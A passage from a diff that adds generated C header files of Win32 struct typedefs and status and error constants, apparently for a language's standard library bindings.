+ unsigned short szBarCode[64]; + unsigned int BarCodeState; + unsigned short szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; +} NTMS_I1_PMIDINFORMATIONW; + +typedef struct _FILE_IO_PRIORITY_HINT_INFO { + void* PriorityHint; +} FILE_IO_PRIORITY_HINT_INFO; + +typedef struct _CLS_INFORMATION { + long long TotalAvailable; + long long CurrentAvailable; + long long TotalReservation; + unsigned long long BaseFileSize; + unsigned long long ContainerSize; + unsigned int TotalContainers; + unsigned int FreeContainers; + unsigned int TotalClients; + unsigned int Attributes; + unsigned int FlushThreshold; + unsigned int SectorSize; + void* MinArchiveTailLsn; + void* BaseLsn; + void* LastFlushedLsn; + void* LastLsn; + void* RestartLsn; + void* Identity; +} CLS_INFORMATION; + +typedef struct _CLFS_PHYSICAL_LSN_INFORMATION { + unsigned char StreamIdentifier; + void* VirtualLsn; + void* PhysicalLsn; +} CLFS_PHYSICAL_LSN_INFORMATION; + +typedef struct _FILE_STANDARD_INFO { + long long AllocationSize; + long long EndOfFile; + unsigned int NumberOfLinks; + BOOL DeletePending; + BOOL Directory; +} FILE_STANDARD_INFO; + +typedef struct _VOLUME_ALLOCATE_BC_STREAM_OUTPUT { + unsigned long long RequestSize; + unsigned int NumOutStandingRequests; +} VOLUME_ALLOCATE_BC_STREAM_OUTPUT; + +typedef struct _WIN32_FIND_DATAW { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int dwReserved0; + unsigned int dwReserved1; + unsigned short cFileName[260]; + unsigned short cAlternateFileName[14]; +} WIN32_FIND_DATAW; + +typedef struct _NTMS_OBJECTINFORMATIONA { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned char szName[64]; + unsigned char szDescription[127]; + void* Info; +} NTMS_OBJECTINFORMATIONA; + +typedef struct _KCRM_PROTOCOL_BLOB { + void* ProtocolId; + unsigned int StaticInfoLength; + unsigned int TransactionIdInfoLength; + unsigned int Unused1; + unsigned int Unused2; +} KCRM_PROTOCOL_BLOB; + +typedef struct _NTMS_DRIVEINFORMATIONW { + unsigned int Number; + unsigned int State; + void* DriveType; + unsigned short szDeviceName[64]; + unsigned short szSerialNumber[32]; + unsigned short szRevision[32]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + unsigned int dwMountCount; + void* LastCleanedTs; + void* SavedPartitionId; + void* Library; + void* Reserved; + unsigned int dwDeferDismountDelay; +} NTMS_DRIVEINFORMATIONW; + +typedef struct _FILE_BASIC_INFO { + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + unsigned int FileAttributes; +} FILE_BASIC_INFO; + +typedef struct _NTMS_OPREQUESTINFORMATIONA { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned char szMessage[256]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_OPREQUESTINFORMATIONA; + +typedef struct _NTMS_CHANGERTYPEINFORMATIONA { + unsigned char szVendor[128]; + unsigned char szProduct[128]; + unsigned int DeviceType; +} NTMS_CHANGERTYPEINFORMATIONA; + +typedef struct _SHARE_INFO_2 { + void* shi2_netname; + void* shi2_type; + void* shi2_remark; + void* shi2_permissions; + unsigned int shi2_max_uses; + unsigned int shi2_current_uses; + void* shi2_path; + void* shi2_passwd; +} SHARE_INFO_2; + +typedef struct _IORING_BUFFER_INFO { + void* Address; + unsigned int Length; +} IORING_BUFFER_INFO; + +typedef struct _ENCRYPTION_CERTIFICATE_HASH { + unsigned int cbTotalLength; + void* pUserSid; + void* pHash; + void* lpDisplayInformation; +} ENCRYPTION_CERTIFICATE_HASH; + +typedef struct _KCRM_MARSHAL_HEADER { + unsigned int VersionMajor; + unsigned int VersionMinor; + unsigned int NumProtocols; + unsigned int Unused; +} KCRM_MARSHAL_HEADER; + +typedef struct _EFS_HASH_BLOB { + unsigned int cbData; + void* pbData; +} EFS_HASH_BLOB; + +typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE { + unsigned int dwEfsAccessType; + void* pCertificatesAdded; + void* pEncryptionCertificate; + void* pEfsStreamSignature; +} ENCRYPTED_FILE_METADATA_SIGNATURE; + +typedef struct _STAT_SERVER_0 { + unsigned int sts0_start; + unsigned int sts0_fopens; + unsigned int sts0_devopens; + unsigned int sts0_jobsqueued; + unsigned int sts0_sopens; + unsigned int sts0_stimedout; + unsigned int sts0_serrorout; + unsigned int sts0_pwerrors; + unsigned int sts0_permerrors; + unsigned int sts0_syserrors; + unsigned int sts0_bytessent_low; + unsigned int sts0_bytessent_high; + unsigned int sts0_bytesrcvd_low; + unsigned int sts0_bytesrcvd_high; + unsigned int sts0_avresponse; + unsigned int sts0_reqbufneed; + unsigned int sts0_bigbufneed; +} STAT_SERVER_0; + +typedef struct _VOLUME_GET_BC_PROPERTIES_OUTPUT { + unsigned int MaximumRequestsPerPeriod; + unsigned int MinimumPeriod; + unsigned long long MaximumRequestSize; + unsigned int EstimatedTimePerRequest; + unsigned int NumOutStandingRequests; + unsigned long long RequestSize; +} VOLUME_GET_BC_PROPERTIES_OUTPUT; + +typedef struct _COPYFILE2_EXTENDED_PARAMETERS_V2 { + unsigned int dwSize; + void* dwCopyFlags; + void* pfCancel; + void* pProgressRoutine; + void* pvCallbackContext; + void* dwCopyFlagsV2; + unsigned int ioDesiredSize; + unsigned int ioDesiredRate; + void* pProgressRoutineOld; + void* SourceOplockKeys; + void* reserved[6]; +} COPYFILE2_EXTENDED_PARAMETERS_V2; + +typedef struct _NTMS_I1_OBJECTINFORMATIONW { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned short szName[64]; + unsigned short szDescription[127]; + void* Info; +} NTMS_I1_OBJECTINFORMATIONW; + +typedef struct _FILE_DISPOSITION_INFO_EX { + void* Flags; +} FILE_DISPOSITION_INFO_EX; + +typedef struct _NTMS_PMIDINFORMATIONA { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned char szBarCode[64]; + unsigned int BarCodeState; + unsigned char szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; + unsigned int dwMediaTypeCode; + unsigned int dwDensityCode; + void* MountedPartition; +} NTMS_PMIDINFORMATIONA; + +typedef struct _CONNECTION_INFO_1 { + unsigned int coni1_id; + void* coni1_type; + unsigned int coni1_num_opens; + unsigned int coni1_num_users; + unsigned int coni1_time; + void* coni1_username; + void* coni1_netname; +} CONNECTION_INFO_1; + +typedef struct _VOLUME_GET_BC_PROPERTIES_INPUT { + unsigned int Version; + unsigned int Reserved1; + unsigned long long LowestByteOffset; + unsigned long long HighestByteOffset; + unsigned int AccessType; + unsigned int AccessMode; +} VOLUME_GET_BC_PROPERTIES_INPUT; + +typedef struct _CLS_ARCHIVE_DESCRIPTOR { + unsigned long long coffLow; + unsigned long long coffHigh; + void* infoContainer; +} CLS_ARCHIVE_DESCRIPTOR; + +typedef struct _SESSION_INFO_10 { + void* sesi10_cname; + void* sesi10_username; + unsigned int sesi10_time; + unsigned int sesi10_idle_time; +} SESSION_INFO_10; + +typedef struct _IORING_BUFFER_REF { + void* Kind; + void* Buffer; +} IORING_BUFFER_REF; + +typedef struct _FILE_NAME_INFO { + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NAME_INFO; + +typedef struct _TAPE_ERASE { + void* Type; + BOOL Immediate; +} TAPE_ERASE; + +typedef struct _FILE_STORAGE_INFO { + unsigned int LogicalBytesPerSector; + unsigned int PhysicalBytesPerSectorForAtomicity; + unsigned int PhysicalBytesPerSectorForPerformance; + unsigned int FileSystemEffectivePhysicalBytesPerSectorForAtomicity; + unsigned int Flags; + unsigned int ByteOffsetForSectorAlignment; + unsigned int ByteOffsetForPartitionAlignment; +} FILE_STORAGE_INFO; + +typedef struct _CLS_WRITE_ENTRY { + void* Buffer; + unsigned int ByteLength; +} CLS_WRITE_ENTRY; + +typedef struct _CLS_CONTAINER_INFORMATION { + unsigned int FileAttributes; + unsigned long long CreationTime; + unsigned long long LastAccessTime; + unsigned long long LastWriteTime; + long long ContainerSize; + unsigned int FileNameActualLength; + unsigned int FileNameLength; + unsigned short FileName[256]; + unsigned int State; + unsigned int PhysicalContainerId; + unsigned int LogicalContainerId; +} CLS_CONTAINER_INFORMATION; + +typedef struct _ENCRYPTION_CERTIFICATE { + unsigned int cbTotalLength; + void* pUserSid; + void* pCertBlob; +} ENCRYPTION_CERTIFICATE; + +typedef struct _TRANSACTION_NOTIFICATION_TM_ONLINE_ARGUMENT { + void* TmIdentity; + unsigned int Flags; +} TRANSACTION_NOTIFICATION_TM_ONLINE_ARGUMENT; + +typedef struct _WIM_EXTERNAL_FILE_INFO { + long long DataSourceId; + unsigned char ResourceHash[20]; + unsigned int Flags; +} WIM_EXTERNAL_FILE_INFO; + +typedef struct _TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT { + void* EnlistmentId; + void* UOW; +} TRANSACTION_NOTIFICATION_RECOVERY_ARGUMENT; + +typedef struct _CLFS_STREAM_ID_INFORMATION { + unsigned char StreamIdentifier; +} CLFS_STREAM_ID_INFORMATION; + +typedef struct _SESSION_INFO_2 { + void* sesi2_cname; + void* sesi2_username; + unsigned int sesi2_num_opens; + unsigned int sesi2_time; + unsigned int sesi2_idle_time; + void* sesi2_user_flags; + void* sesi2_cltype_name; +} SESSION_INFO_2; + +typedef struct _CLS_IO_STATISTICS_HEADER { + unsigned char ubMajorVersion; + unsigned char ubMinorVersion; + void* eStatsClass; + unsigned short cbLength; + unsigned int coffData; +} CLS_IO_STATISTICS_HEADER; + +typedef struct _NTMS_LIBRARYINFORMATION { + unsigned int LibraryType; + void* CleanerSlot; + void* CleanerSlotDefault; + BOOL LibrarySupportsDriveCleaning; + BOOL BarCodeReaderInstalled; + unsigned int InventoryMethod; + unsigned int dwCleanerUsesRemaining; + unsigned int FirstDriveNumber; + unsigned int dwNumberOfDrives; + unsigned int FirstSlotNumber; + unsigned int dwNumberOfSlots; + unsigned int FirstDoorNumber; + unsigned int dwNumberOfDoors; + unsigned int FirstPortNumber; + unsigned int dwNumberOfPorts; + unsigned int FirstChangerNumber; + unsigned int dwNumberOfChangers; + unsigned int dwNumberOfMedia; + unsigned int dwNumberOfMediaTypes; + unsigned int dwNumberOfLibRequests; + void* Reserved; + BOOL AutoRecovery; + unsigned int dwFlags; +} NTMS_LIBRARYINFORMATION; + +typedef struct _NTMS_STORAGESLOTINFORMATION { + unsigned int Number; + unsigned int State; + void* Library; +} NTMS_STORAGESLOTINFORMATION; + +typedef struct _NTMS_LIBREQUESTINFORMATIONA { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; + unsigned int dwErrorCode; + void* WorkItemId; + unsigned int dwPriority; +} NTMS_LIBREQUESTINFORMATIONA; + +typedef struct _NTMS_NOTIFICATIONINFORMATION { + unsigned int dwOperation; + void* ObjectId; +} NTMS_NOTIFICATIONINFORMATION; + +typedef struct _NTMS_DRIVETYPEINFORMATIONW { + unsigned short szVendor[128]; + unsigned short szProduct[128]; + unsigned int NumberOfHeads; + void* DeviceType; +} NTMS_DRIVETYPEINFORMATIONW; + +typedef struct _NTMS_ALLOCATION_INFORMATION { + unsigned int dwSize; + void* lpReserved; + void* AllocatedFrom; +} NTMS_ALLOCATION_INFORMATION; + diff --git a/stdlib/win32/foundation.h b/stdlib/win32/foundation.h new file mode 100644 index 0000000..fd62b49 --- /dev/null +++ b/stdlib/win32/foundation.h @@ -0,0 +1,10704 @@ +// Generated by entc-win32gen from `Windows.Win32.Foundation`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define TRUE 1 +#define FALSE 0 +#define VARIANT_TRUE -1 +#define VARIANT_FALSE 0 +#define INVALID_HANDLE_VALUE -1 +#define CO_E_NOTINITIALIZED -2147221008 +#define STILL_ACTIVE 259 +#define EXCEPTION_ACCESS_VIOLATION -1073741819 +#define EXCEPTION_DATATYPE_MISALIGNMENT -2147483646 +#define EXCEPTION_BREAKPOINT -2147483645 +#define EXCEPTION_SINGLE_STEP -2147483644 +#define EXCEPTION_ARRAY_BOUNDS_EXCEEDED -1073741684 +#define EXCEPTION_FLT_DENORMAL_OPERAND -1073741683 +#define EXCEPTION_FLT_DIVIDE_BY_ZERO -1073741682 +#define EXCEPTION_FLT_INEXACT_RESULT -1073741681 +#define EXCEPTION_FLT_INVALID_OPERATION -1073741680 +#define EXCEPTION_FLT_OVERFLOW -1073741679 +#define EXCEPTION_FLT_STACK_CHECK -1073741678 +#define EXCEPTION_FLT_UNDERFLOW -1073741677 +#define EXCEPTION_INT_DIVIDE_BY_ZERO -1073741676 +#define EXCEPTION_INT_OVERFLOW -1073741675 +#define EXCEPTION_PRIV_INSTRUCTION -1073741674 +#define EXCEPTION_IN_PAGE_ERROR -1073741818 +#define EXCEPTION_ILLEGAL_INSTRUCTION -1073741795 +#define EXCEPTION_NONCONTINUABLE_EXCEPTION -1073741787 +#define EXCEPTION_STACK_OVERFLOW -1073741571 +#define EXCEPTION_INVALID_DISPOSITION -1073741786 +#define EXCEPTION_GUARD_PAGE -2147483647 +#define EXCEPTION_INVALID_HANDLE -1073741816 +#define EXCEPTION_POSSIBLE_DEADLOCK -1073741420 +#define EXCEPTION_SPAPI_UNRECOVERABLE_STACK_OVERFLOW -536870144 +#define CONTROL_C_EXIT -1073741510 +#define STATUS_ACCESS_DENIED -1073741790 +#define E_NOTIMPL -2147467263 +#define E_OUTOFMEMORY -2147024882 +#define E_INVALIDARG -2147024809 +#define E_FAIL -2147467259 +#define STRICT 0x1 +#define MAX_PATH 0x104 +#define IO_ERR_INSUFFICIENT_RESOURCES -1073479678 +#define IO_ERR_DRIVER_ERROR -1073479676 +#define IO_ERR_SEEK_ERROR -1073479674 +#define IO_ERR_BAD_BLOCK -1073479673 +#define IO_ERR_TIMEOUT -1073479671 +#define IO_ERR_CONTROLLER_ERROR -1073479669 +#define IO_ERR_NOT_READY -1073479665 +#define IO_ERR_INVALID_REQUEST -1073479664 +#define IO_ERR_RESET -1073479661 +#define IO_ERR_BAD_FIRMWARE -1073479655 +#define IO_WRN_BAD_FIRMWARE -2147221478 +#define IO_WRITE_CACHE_ENABLED -2147221472 +#define IO_RECOVERED_VIA_ECC -2147221471 +#define IO_WRITE_CACHE_DISABLED -2147221470 +#define IO_WARNING_PAGING_FAILURE -2147221453 +#define IO_WRN_FAILURE_PREDICTED -2147221452 +#define IO_WARNING_ALLOCATION_FAILED -2147221448 +#define IO_WARNING_DUPLICATE_SIGNATURE -2147221446 +#define IO_WARNING_DUPLICATE_PATH -2147221445 +#define IO_WARNING_WRITE_FUA_PROBLEM -2147221372 +#define IO_WARNING_VOLUME_LOST_DISK_EXTENT -2147221362 +#define IO_WARNING_DEVICE_HAS_INTERNAL_DUMP -2147221361 +#define IO_WARNING_SOFT_THRESHOLD_REACHED -2147221360 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX -2147221359 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_LUN_LUN -2147221358 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_LUN_POOL -2147221357 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_POOL_LUN -2147221356 +#define IO_WARNING_SOFT_THRESHOLD_REACHED_EX_POOL_POOL -2147221355 +#define IO_ERROR_DISK_RESOURCES_EXHAUSTED -1073479530 +#define IO_WARNING_DISK_CAPACITY_CHANGED -2147221353 +#define IO_WARNING_DISK_PROVISIONING_TYPE_CHANGED -2147221352 +#define IO_WARNING_IO_OPERATION_RETRIED -2147221351 +#define IO_ERROR_IO_HARDWARE_ERROR -1073479526 +#define IO_WARNING_COMPLETION_TIME -2147221349 +#define IO_WARNING_DISK_SURPRISE_REMOVED -2147221347 +#define IO_WARNING_REPEATED_DISK_GUID -2147221346 +#define IO_WARNING_DISK_FIRMWARE_UPDATED 1074004127 +#define IO_ERR_RETRY_SUCCEEDED 262145 +#define IO_DUMP_CREATION_SUCCESS 262306 +#define IO_FILE_QUOTA_THRESHOLD 1074004004 +#define IO_FILE_QUOTA_LIMIT 1074004005 +#define IO_FILE_QUOTA_STARTED 1074004006 +#define IO_FILE_QUOTA_SUCCEEDED 1074004007 +#define IO_INFO_THROTTLE_COMPLETE 1074004087 +#define IO_CDROM_EXCLUSIVE_LOCK 1074004101 +#define IO_WARNING_ADAPTER_FIRMWARE_UPDATED 1074004128 +#define IO_FILE_QUOTA_FAILED -2147221464 +#define IO_LOST_DELAYED_WRITE -2147221454 +#define IO_WARNING_INTERRUPT_STILL_PENDING -2147221451 +#define IO_DRIVER_CANCEL_TIMEOUT -2147221450 +#define IO_WARNING_LOG_FLUSH_FAILED -2147221447 +#define IO_WARNING_BUS_RESET -2147221386 +#define IO_WARNING_RESET -2147221375 +#define IO_LOST_DELAYED_WRITE_NETWORK_DISCONNECTED -2147221365 +#define IO_LOST_DELAYED_WRITE_NETWORK_SERVER_ERROR -2147221364 +#define IO_LOST_DELAYED_WRITE_NETWORK_LOCAL_DISK_ERROR -2147221363 +#define IO_WARNING_DUMP_DISABLED_DEVICE_GONE -2147221348 +#define IO_ERR_CONFIGURATION_ERROR -1073479677 +#define IO_ERR_PARITY -1073479675 +#define IO_ERR_OVERRUN_ERROR -1073479672 +#define IO_ERR_SEQUENCE -1073479670 +#define IO_ERR_INTERNAL_ERROR -1073479668 +#define IO_ERR_INCORRECT_IRQL -1073479667 +#define IO_ERR_INVALID_IOBASE -1073479666 +#define IO_ERR_VERSION -1073479663 +#define IO_ERR_LAYERED_FAILURE -1073479662 +#define IO_ERR_PROTOCOL -1073479660 +#define IO_ERR_MEMORY_CONFLICT_DETECTED -1073479659 +#define IO_ERR_PORT_CONFLICT_DETECTED -1073479658 +#define IO_ERR_DMA_CONFLICT_DETECTED -1073479657 +#define IO_ERR_IRQ_CONFLICT_DETECTED -1073479656 +#define IO_ERR_DMA_RESOURCE_CONFLICT -1073479653 +#define IO_ERR_INTERRUPT_RESOURCE_CONFLICT -1073479652 +#define IO_ERR_MEMORY_RESOURCE_CONFLICT -1073479651 +#define IO_ERR_PORT_RESOURCE_CONFLICT -1073479650 +#define IO_BAD_BLOCK_WITH_NAME -1073479649 +#define IO_FILE_SYSTEM_CORRUPT -1073479639 +#define IO_FILE_QUOTA_CORRUPT -1073479638 +#define IO_SYSTEM_SLEEP_FAILED -1073479637 +#define IO_DUMP_POINTER_FAILURE -1073479636 +#define IO_DUMP_DRIVER_LOAD_FAILURE -1073479635 +#define IO_DUMP_INITIALIZATION_FAILURE -1073479634 +#define IO_DUMP_DUMPFILE_CONFLICT -1073479633 +#define IO_DUMP_DIRECT_CONFIG_FAILED -1073479632 +#define IO_DUMP_PAGE_CONFIG_FAILED -1073479631 +#define IO_FILE_SYSTEM_CORRUPT_WITH_NAME -1073479625 +#define IO_ERR_THREAD_STUCK_IN_DEVICE_DRIVER -1073479572 +#define IO_ERR_PORT_TIMEOUT -1073479563 +#define IO_ERROR_DUMP_CREATION_ERROR -1073479519 +#define IO_DUMP_CALLBACK_EXCEPTION -1073479517 +#define IO_DUMP_INIT_DEDICATED_DUMP_FAILURE -1073479516 +#define MCA_INFO_CPU_THERMAL_THROTTLING_REMOVED 1074069616 +#define MCA_INFO_NO_MORE_CORRECTED_ERROR_LOGS 1074069619 +#define MCA_INFO_MEMORY_PAGE_MARKED_BAD 1074069620 +#define MCA_WARNING_CACHE -2147155908 +#define MCA_WARNING_TLB -2147155906 +#define MCA_WARNING_CPU_BUS -2147155904 +#define MCA_WARNING_REGISTER_FILE -2147155902 +#define MCA_WARNING_MAS -2147155900 +#define MCA_WARNING_MEM_UNKNOWN -2147155898 +#define MCA_WARNING_MEM_1_2 -2147155896 +#define MCA_WARNING_MEM_1_2_5 -2147155894 +#define MCA_WARNING_MEM_1_2_5_4 -2147155892 +#define MCA_WARNING_SYSTEM_EVENT -2147155890 +#define MCA_WARNING_PCI_BUS_PARITY -2147155888 +#define MCA_WARNING_PCI_BUS_PARITY_NO_INFO -2147155886 +#define MCA_WARNING_PCI_BUS_SERR -2147155884 +#define MCA_WARNING_PCI_BUS_SERR_NO_INFO -2147155882 +#define MCA_WARNING_PCI_BUS_MASTER_ABORT -2147155880 +#define MCA_WARNING_PCI_BUS_MASTER_ABORT_NO_INFO -2147155878 +#define MCA_WARNING_PCI_BUS_TIMEOUT -2147155876 +#define MCA_WARNING_PCI_BUS_TIMEOUT_NO_INFO -2147155874 +#define MCA_WARNING_PCI_BUS_UNKNOWN -2147155872 +#define MCA_WARNING_PCI_DEVICE -2147155870 +#define MCA_WARNING_SMBIOS -2147155868 +#define MCA_WARNING_PLATFORM_SPECIFIC -2147155866 +#define MCA_WARNING_UNKNOWN -2147155864 +#define MCA_WARNING_UNKNOWN_NO_CPU -2147155862 +#define MCA_WARNING_CMC_THRESHOLD_EXCEEDED -2147155859 +#define MCA_WARNING_CPE_THRESHOLD_EXCEEDED -2147155858 +#define MCA_WARNING_CPU_THERMAL_THROTTLED -2147155857 +#define MCA_WARNING_CPU -2147155855 +#define MCA_ERROR_CACHE -1073414083 +#define MCA_ERROR_TLB -1073414081 +#define MCA_ERROR_CPU_BUS -1073414079 +#define MCA_ERROR_REGISTER_FILE -1073414077 +#define MCA_ERROR_MAS -1073414075 +#define MCA_ERROR_MEM_UNKNOWN -1073414073 +#define MCA_ERROR_MEM_1_2 -1073414071 +#define MCA_ERROR_MEM_1_2_5 -1073414069 +#define MCA_ERROR_MEM_1_2_5_4 -1073414067 +#define MCA_ERROR_SYSTEM_EVENT -1073414065 +#define MCA_ERROR_PCI_BUS_PARITY -1073414063 +#define MCA_ERROR_PCI_BUS_PARITY_NO_INFO -1073414061 +#define MCA_ERROR_PCI_BUS_SERR -1073414059 +#define MCA_ERROR_PCI_BUS_SERR_NO_INFO -1073414057 +#define MCA_ERROR_PCI_BUS_MASTER_ABORT -1073414055 +#define MCA_ERROR_PCI_BUS_MASTER_ABORT_NO_INFO -1073414053 +#define MCA_ERROR_PCI_BUS_TIMEOUT -1073414051 +#define MCA_ERROR_PCI_BUS_TIMEOUT_NO_INFO -1073414049 +#define MCA_ERROR_PCI_BUS_UNKNOWN -1073414047 +#define MCA_ERROR_PCI_DEVICE -1073414045 +#define MCA_ERROR_SMBIOS -1073414043 +#define MCA_ERROR_PLATFORM_SPECIFIC -1073414041 +#define MCA_ERROR_UNKNOWN -1073414039 +#define MCA_ERROR_UNKNOWN_NO_CPU -1073414037 +#define MCA_ERROR_CPU -1073414030 +#define MCA_MEMORYHIERARCHY_ERROR -1073414024 +#define MCA_TLB_ERROR -1073414023 +#define MCA_BUS_ERROR -1073414022 +#define MCA_BUS_TIMEOUT_ERROR -1073414021 +#define MCA_INTERNALTIMER_ERROR -1073414020 +#define MCA_MICROCODE_ROM_PARITY_ERROR -1073414018 +#define MCA_EXTERNAL_ERROR -1073414017 +#define MCA_FRC_ERROR -1073414016 +#define VOLMGR_KSR_ERROR -2143813631 +#define VOLMGR_KSR_READ_ERROR -2143813630 +#define VOLMGR_KSR_BYPASS -2143813629 +#define STATUS_WAIT_0 0 +#define FACILTIY_MUI_ERROR_CODE 0xb +#define STATUS_SUCCESS 0 +#define STATUS_WAIT_1 1 +#define STATUS_WAIT_2 2 +#define STATUS_WAIT_3 3 +#define STATUS_WAIT_63 63 +#define STATUS_ABANDONED 128 +#define STATUS_ABANDONED_WAIT_0 128 +#define STATUS_ABANDONED_WAIT_63 191 +#define STATUS_USER_APC 192 +#define STATUS_ALREADY_COMPLETE 255 +#define STATUS_KERNEL_APC 256 +#define STATUS_ALERTED 257 +#define STATUS_TIMEOUT 258 +#define STATUS_PENDING 259 +#define STATUS_REPARSE 260 +#define STATUS_MORE_ENTRIES 261 +#define STATUS_NOT_ALL_ASSIGNED 262 +#define STATUS_SOME_NOT_MAPPED 263 +#define STATUS_OPLOCK_BREAK_IN_PROGRESS 264 +#define STATUS_VOLUME_MOUNTED 265 +#define STATUS_RXACT_COMMITTED 266 +#define STATUS_NOTIFY_CLEANUP 267 +#define STATUS_NOTIFY_ENUM_DIR 268 +#define STATUS_NO_QUOTAS_FOR_ACCOUNT 269 +#define STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED 270 +#define STATUS_PAGE_FAULT_TRANSITION 272 +#define STATUS_PAGE_FAULT_DEMAND_ZERO 273 +#define STATUS_PAGE_FAULT_COPY_ON_WRITE 274 +#define STATUS_PAGE_FAULT_GUARD_PAGE 275 +#define STATUS_PAGE_FAULT_PAGING_FILE 276 +#define STATUS_CACHE_PAGE_LOCKED 277 +#define STATUS_CRASH_DUMP 278 +#define STATUS_BUFFER_ALL_ZEROS 279 +#define STATUS_REPARSE_OBJECT 280 +#define STATUS_RESOURCE_REQUIREMENTS_CHANGED 281 +#define STATUS_TRANSLATION_COMPLETE 288 +#define STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY 289 +#define STATUS_NOTHING_TO_TERMINATE 290 +#define STATUS_PROCESS_NOT_IN_JOB 291 +#define STATUS_PROCESS_IN_JOB 292 +#define STATUS_VOLSNAP_HIBERNATE_READY 293 +#define STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY 294 +#define STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED 295 +#define STATUS_INTERRUPT_STILL_CONNECTED 296 +#define STATUS_PROCESS_CLONED 297 +#define STATUS_FILE_LOCKED_WITH_ONLY_READERS 298 +#define STATUS_FILE_LOCKED_WITH_WRITERS 299 +#define STATUS_VALID_IMAGE_HASH 300 +#define STATUS_VALID_CATALOG_HASH 301 +#define STATUS_VALID_STRONG_CODE_HASH 302 +#define STATUS_GHOSTED 303 +#define STATUS_DATA_OVERWRITTEN 304 +#define STATUS_RESOURCEMANAGER_READ_ONLY 514 +#define STATUS_RING_PREVIOUSLY_EMPTY 528 +#define STATUS_RING_PREVIOUSLY_FULL 529 +#define STATUS_RING_PREVIOUSLY_ABOVE_QUOTA 530 +#define STATUS_RING_NEWLY_EMPTY 531 +#define STATUS_RING_SIGNAL_OPPOSITE_ENDPOINT 532 +#define STATUS_OPLOCK_SWITCHED_TO_NEW_HANDLE 533 +#define STATUS_OPLOCK_HANDLE_CLOSED 534 +#define STATUS_WAIT_FOR_OPLOCK 871 +#define STATUS_REPARSE_GLOBAL 872 +#define STATUS_PAGE_FAULT_RETRY 873 +#define DBG_EXCEPTION_HANDLED 65537 +#define DBG_CONTINUE 65538 +#define STATUS_FLT_IO_COMPLETE 1835009 +#define STATUS_OBJECT_NAME_EXISTS 1073741824 +#define STATUS_THREAD_WAS_SUSPENDED 1073741825 +#define STATUS_WORKING_SET_LIMIT_RANGE 1073741826 +#define STATUS_IMAGE_NOT_AT_BASE 1073741827 +#define STATUS_RXACT_STATE_CREATED 1073741828 +#define STATUS_SEGMENT_NOTIFICATION 1073741829 +#define STATUS_LOCAL_USER_SESSION_KEY 1073741830 +#define STATUS_BAD_CURRENT_DIRECTORY 1073741831 +#define STATUS_SERIAL_MORE_WRITES 1073741832 +#define STATUS_REGISTRY_RECOVERED 1073741833 +#define STATUS_FT_READ_RECOVERY_FROM_BACKUP 1073741834 +#define STATUS_FT_WRITE_RECOVERY 1073741835 +#define STATUS_SERIAL_COUNTER_TIMEOUT 1073741836 +#define STATUS_NULL_LM_PASSWORD 1073741837 +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH 1073741838 +#define STATUS_RECEIVE_PARTIAL 1073741839 +#define STATUS_RECEIVE_EXPEDITED 1073741840 +#define STATUS_RECEIVE_PARTIAL_EXPEDITED 1073741841 +#define STATUS_EVENT_DONE 1073741842 +#define STATUS_EVENT_PENDING 1073741843 +#define STATUS_CHECKING_FILE_SYSTEM 1073741844 +#define STATUS_FATAL_APP_EXIT 1073741845 +#define STATUS_PREDEFINED_HANDLE 1073741846 +#define STATUS_WAS_UNLOCKED 1073741847 +#define STATUS_SERVICE_NOTIFICATION 1073741848 +#define STATUS_WAS_LOCKED 1073741849 +#define STATUS_LOG_HARD_ERROR 1073741850 +#define STATUS_ALREADY_WIN32 1073741851 +#define STATUS_WX86_UNSIMULATE 1073741852 +#define STATUS_WX86_CONTINUE 1073741853 +#define STATUS_WX86_SINGLE_STEP 1073741854 +#define STATUS_WX86_BREAKPOINT 1073741855 +#define STATUS_WX86_EXCEPTION_CONTINUE 1073741856 +#define STATUS_WX86_EXCEPTION_LASTCHANCE 1073741857 +#define STATUS_WX86_EXCEPTION_CHAIN 1073741858 +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE 1073741859 +#define STATUS_NO_YIELD_PERFORMED 1073741860 +#define STATUS_TIMER_RESUME_IGNORED 1073741861 +#define STATUS_ARBITRATION_UNHANDLED 1073741862 +#define STATUS_CARDBUS_NOT_SUPPORTED 1073741863 +#define STATUS_WX86_CREATEWX86TIB 1073741864 +#define STATUS_MP_PROCESSOR_MISMATCH 1073741865 +#define 